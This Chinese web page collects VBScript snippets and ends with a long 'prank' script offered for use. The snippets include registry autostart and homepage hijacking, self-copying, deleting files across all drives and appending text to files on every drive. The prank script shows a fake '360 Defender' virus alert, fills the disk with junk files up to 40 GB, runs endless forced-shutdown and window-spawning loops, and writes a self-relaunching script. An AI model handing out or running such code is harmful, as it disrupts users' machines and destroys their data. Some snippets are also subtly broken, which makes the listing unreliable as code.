vbs编程代码大全 vbs所有代码
大家好，关于vbs编程代码大全很多朋友都还不太明白，不过没关系，因为今天小编就来为大家分享关于vbs所有代码的知识点，相信应该可以解决大家的一些困惑和问题，如果碰巧可以解决您的问题，还望关注下本站哦，希望对各位有所帮助！
vbs常用代码
1、首先在电脑鼠标右键新建一个文本文档。
2、然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。
3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。
4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。
5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。
6、只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。
求简单的vbs代码
个人收藏的，给你了。
1.VBS获取路径集合
1.1.VBS获取系统安装路径
程序代码
set WshShell= WScript.CreateObject("WScript.Shell")
strWinDir= WshShell.ExpandEnvironmentStrings("%WinDir%")
上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用"&strWinDir&"调用这个变量。
1.2.C:\Program Files路径
程序代码
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
1.3.C:\Program Files\Common Files路径
程序代码
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")
2.给桌面添加网址快捷方式
程序代码
set gangzi= WScript.CreateObject("WScript.Shell")
strDesktop= gangzi.SpecialFolders("Desktop")
set oShellLink= gangzi.CreateShortcut(strDesktop&"\Internet Explorer.lnk")
oShellLink.TargetPath=""
oShellLink.Description="Internet Explorer"
oShellLink.IconLocation="%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
3.给收藏夹添加网址
程序代码
Const ADMINISTRATIVE_TOOLS= 6
Set objShell= CreateObject("Shell.Application")
Set objFolder= objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem= objFolder.Self
Set objShell= WScript.CreateObject("WScript.Shell")
strDesktopFld= objFolderItem.Path
Set objURLShortcut= objShell.CreateShortcut(strDesktopFld&"\小游戏网站.url")
objURLShortcut.TargetPath=""
objURLShortcut.Save
4.删除指定目录指定后缀文件
程序代码
On Error Resume Next
Set fso= CreateObject("Scripting.FileSystemObject")
fso.DeleteFile"C:\*.vbs", True
Set fso= Nothing
上面代码为删除C盘根目录下后缀为vbs的文件
5.VBS改主页
程序代码
Set oShell= CreateObject("WScript.Shell")
oShell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""
6.VBS加启动项
程序代码
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
7.VBS复制自己
程序代码
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
复制自己到C盘的huan.vbs
程序代码
set copy1=createobject("scripting.filesystemobject")
copy1.getfile("game.exe").copy("c:\gangzi.exe")
复制本vbs目录下的game.exe文件到c盘的gangzi.exe
8.VBS获取系统临时目录
程序代码
Dim fso
Set fso= CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder= 2
Set tempfolder= fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
9.就算代码出错依然继续执行
程序代码
On Error Resume Next
10.VBS打开网址
程序代码
Set objShell= CreateObject("Wscript.Shell")
objShell.Run("")
11.VBS发送邮件
程序代码
NameSpace=""
Set Email= CreateObject("CDO.Message")
Email.From="发件@qq.com"
Email.To="收件@qq.com"
Email.Subject="Test sendmail.vbs"
Email.Textbody="OK!"
Email.AddAttachment"C:\1.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing")= 2
.Item(NameSpace&"smtpserver")="smtp.邮件服务器.com"
.Item(NameSpace&"smtpserverport")= 25
.Item(NameSpace&"smtpauthenticate")= 1
.Item(NameSpace&"sendusername")="发件人用户名"
.Item(NameSpace&"sendpassword")="发件人密码"
.Update
End With
Email.Send
12.VBS结束进程
程序代码
strComputer="."
Set objWMIService= GetObject _
("winmgmts:\\"& strComputer&"\root\cimv2")
Set colProcessList= objWMIService.ExecQuery _
("Select* from Win32_Process Where Name='Rar.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
13.VBS隐藏打开网址
13.1.部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用
程序代码
createObject("wscript.shell").run"iexplore ",0
13.2.兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。（本方法由刚子原创）
程序代码
Set objws=WScript.CreateObject("wscript.shell")
objws.Run"""C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide
14.VBS遍历硬盘删除指定文件名（下面我增加了一个先结束进程在删除的功能，不需要可以去掉）
程序代码
On Error Resume Next
Dim fPath
strComputer="."
Set objWMIService= GetObject _
("winmgmts:\\"& strComputer&"\root\cimv2")
Set colProcessList= objWMIService.ExecQuery _
("Select* from Win32_Process Where Name='gangzi.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Set objWMIService= GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\"& strComputer&"\root\cimv2")
Set colDirs= objWMIService. _
ExecQuery("Select* from Win32_Directory where name LIKE'%c:%' or name LIKE'%d:%' or name LIKE'%e:%' or name LIKE'%f:%' or name LIKE'%g:%' or name LIKE'%h:%' or name LIKE'%i:%'")
Set objFSO= CreateObject("Scripting.FileSystemObject")
For Each objDir in colDirs
fPath= objDir.Name&"\gangzi.exe"
objFSO.DeleteFile(fPath), True
Next
15.VBS获取网卡MAC地址
程序代码
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox"本机网卡MAC地址是:"& mo.MacAddress
Exit For
End If
Next
16.VBS获取本机注册表主页地址
程序代码
Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
MsgBox startpage
17.VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话。
程序代码
On Error Resume Next
Set fso= CreateObject("Scripting.FileSystemObject")
Co= VbCrLf&"路过。。。"
For Each i In fso.Drives
If i.DriveType= 2 Then
GF fso.GetFolder(i&"\")
End If
Next
Sub GF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
GF i
Next
End Sub
Sub Wh(fol)
Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i))="shtml" Then
fso.OpenTextFile(i,8,0).Write Co
End If
Next
End Sub
18.获取计算机所有盘符
程序代码
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives'取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives'遍历磁盘
MsgBox objdrive
Next
19.VBS给本机所有磁盘根目录创建文件（刚子原创）
程序代码
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives'取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis'遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("By www.gangzi.org")
TestFile.Close
Next
20.VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe
程序代码
set fs= CreateObject("Scripting.FileSystemObject")
for each drive in fs.drives
fstraversal drive.rootfolder
next
sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files= this.files
for each file in files
if file.name="123.exe" then file.name="321.exe"
next
end sub
21.VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）
程序代码
str=“这里是你要复制到剪贴板的字符串”
Set ws= wscript.createobject("wscript.shell")
ws.run"mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
22.QQ自动发消息（保存BVS运行即可看到效果，希望高手举一反三，刚子原创）
程序代码
On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run"mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run"tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys"^v"
WshShell.SendKeys"%s"
23.VBS隐藏文件
程序代码
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objFile= objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes= objFile.Attributes AND 2 Then
objFile.Attributes= objFile.Attributes XOR 2
End If
24.VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）
程序代码
Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
25.VBS删除桌面IE图标（非快捷方式）
程序代码
Set oShell= CreateObject("WScript.Shell")
oShell.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
26.VBS获取自身文件名
程序代码
Set fso= CreateObject("Scripting.FileSystemObject")
msgbox WScript.ScriptName
vbs整人代码
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart= wscript.CreateObject("wscript.shell")
set qweb= CreateObject("Wscript.Shell")
set qwrite= CreateObject("scripting.filesystemobject")
set qsay= CreateObject("sapi.spvoice")
qstart.run"D:\病毒BGM.mp3"'《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox"您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run"cmd.exe/c start appwiz.cpl"
qstart.run"cmd.exe/c start bthprops.cpl"
qstart.run"cmd.exe/c start calc.exe"
qstart.run"cmd.exe/c start cleanmgr.exe"
qstart.run"cmd.exe/c start cmd.exe"
qstart.run"cmd.exe/c start colorcpl.exe"
qstart.run"cmd.exe/c start control.exe"
qstart.run"cmd.exe/c start cttune.exe"
qstart.run"cmd.exe/c start desk.cpl"
qstart.run"cmd.exe/c start dfrgui.exe"
qstart.run"cmd.exe/c start dxdiag.exe"
qstart.run"cmd.exe/c start FileHistory.exe"
qstart.run"cmd.exe/c start Firewall.cpl"
qstart.run"cmd.exe/c start Fondue.exe"
qstart.run"cmd.exe/c start fontview.exe"
qstart.run"cmd.exe/c start fsquirt.exe"
qstart.run"cmd.exe/c start hdwwiz.cpl"
qstart.run"cmd.exe/c start inetcpl.cpl"
qstart.run"cmd.exe/c start intl.cpl"
qstart.run"cmd.exe/c start irprops.cpl"
qstart.run"cmd.exe/c start joy.cpl"
qstart.run"cmd.exe/c start LaunchTM.exe"
qstart.run"cmd.exe/c start Magnify.exe"
qstart.run"cmd.exe/c start main.cpl"
qstart.run"cmd.exe/c start mblctr.exe"
qstart.run"cmd.exe/c start mmsys.cpl"
qstart.run"cmd.exe/c start msinfo32.exe"
qstart.run"cmd.exe/c start mspaint.exe"
qstart.run"cmd.exe/c start ncpa.cpl"
qstart.run"cmd.exe/c start notepad.exe"
qstart.run"cmd.exe/c start powercfg.cpl"
qstart.run"cmd.exe/c start RTSnMg64.cpl"
qstart.run"cmd.exe/c start SnippingTool.exe"
qstart.run"cmd.exe/c start sysdm.cpl"
qstart.run"cmd.exe/c start TabletPC.cpl"
qstart.run"cmd.exe/c start telephon.cpl"
qstart.run"cmd.exe/c start timedate.cpl"
qstart.run"cmd.exe/c start write.exe"
qstart.run"cmd.exe/c start wscript.exe"
qstart.run"cmd.exe/c start wscui.cpl"
qstart.run"cmd.exe/c fsutil file createnew 1.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 2.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 3.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 4.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 5.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 6.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 7.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 8.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 9.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 10.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 11.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 12.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 13.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 14.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 15.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 16.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 17.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 18.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 19.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 20.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 21.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 22.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 23.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 24.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 25.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 26.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 27.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 28.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 29.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 30.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 31.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 32.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 33.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 34.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 35.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 36.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 37.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 38.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 39.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 40.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 41.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 42.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 43.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 44.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 45.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 46.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 47.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 48.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 49.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 50.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 51.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 52.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 53.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 54.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 55.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 56.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 57.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 58.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 59.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 60.bug 40000"
qstart.run"cmd.exe/c fsutil file createnew 61.bug 400000"
qstart.run"cmd.exe/c fsutil file createnew 62.bug 4000000"
qstart.run"cmd.exe/c fsutil file createnew 63.bug 40000000"
qstart.run"cmd.exe/c fsutil file createnew 64.bug 400000000"
qstart.run"cmd.exe/c fsutil file createnew 65.bug 4000000000"
qstart.run"cmd.exe/c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run"cmd.exe/c shutdown-s-t 60-c""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机""",0,true
qstart.run"cmd.exe/c echo滚|clip"
A= INPUTBOX("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A="是" then
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A="不是" then
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox"游戏规则：在开始后，请及时点击“确定”键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run"cmd.exe/c shutdown-s-t 5",0,true
msgbox"取消关机",vbokonly,"360 Defender"
qstart.run"cmd.exe/c shutdown-a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A="" then
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox"自己探寻吧",vbokonly,"360 Defender"
do
qstart.run"cmd.exe/c shutdown-s-t 5",0,true
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd"
qstart.run"cmd.exe/c shutdown-a",0,true
loop
ELSEIF A="滚" then
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile("D:\1.txt",,ture)
qwriteb.WriteLine"wscript.CreateObject("& chr(34)&"wscript.shell"& chr(34)&").run"& chr(34)&"D:\1.vbs"& chr(34)
qwriteb.WriteLine"msgbox"& chr(34)&"滚"& chr(34)&",vbokonly+vbinformation,"& chr(34)&"360 Defender"& chr(34)
qwriteb.close
qwrite.movefile"D:\1.txt","D:\1.vbs"
qstart.run"D:\1.vbs"
ELSE
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命(鲁迅)。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run"cmd.exe/c shutdown-r-t 5",0,true
END IF
关于vbs编程代码大全的内容到此结束，希望对大家有所帮助。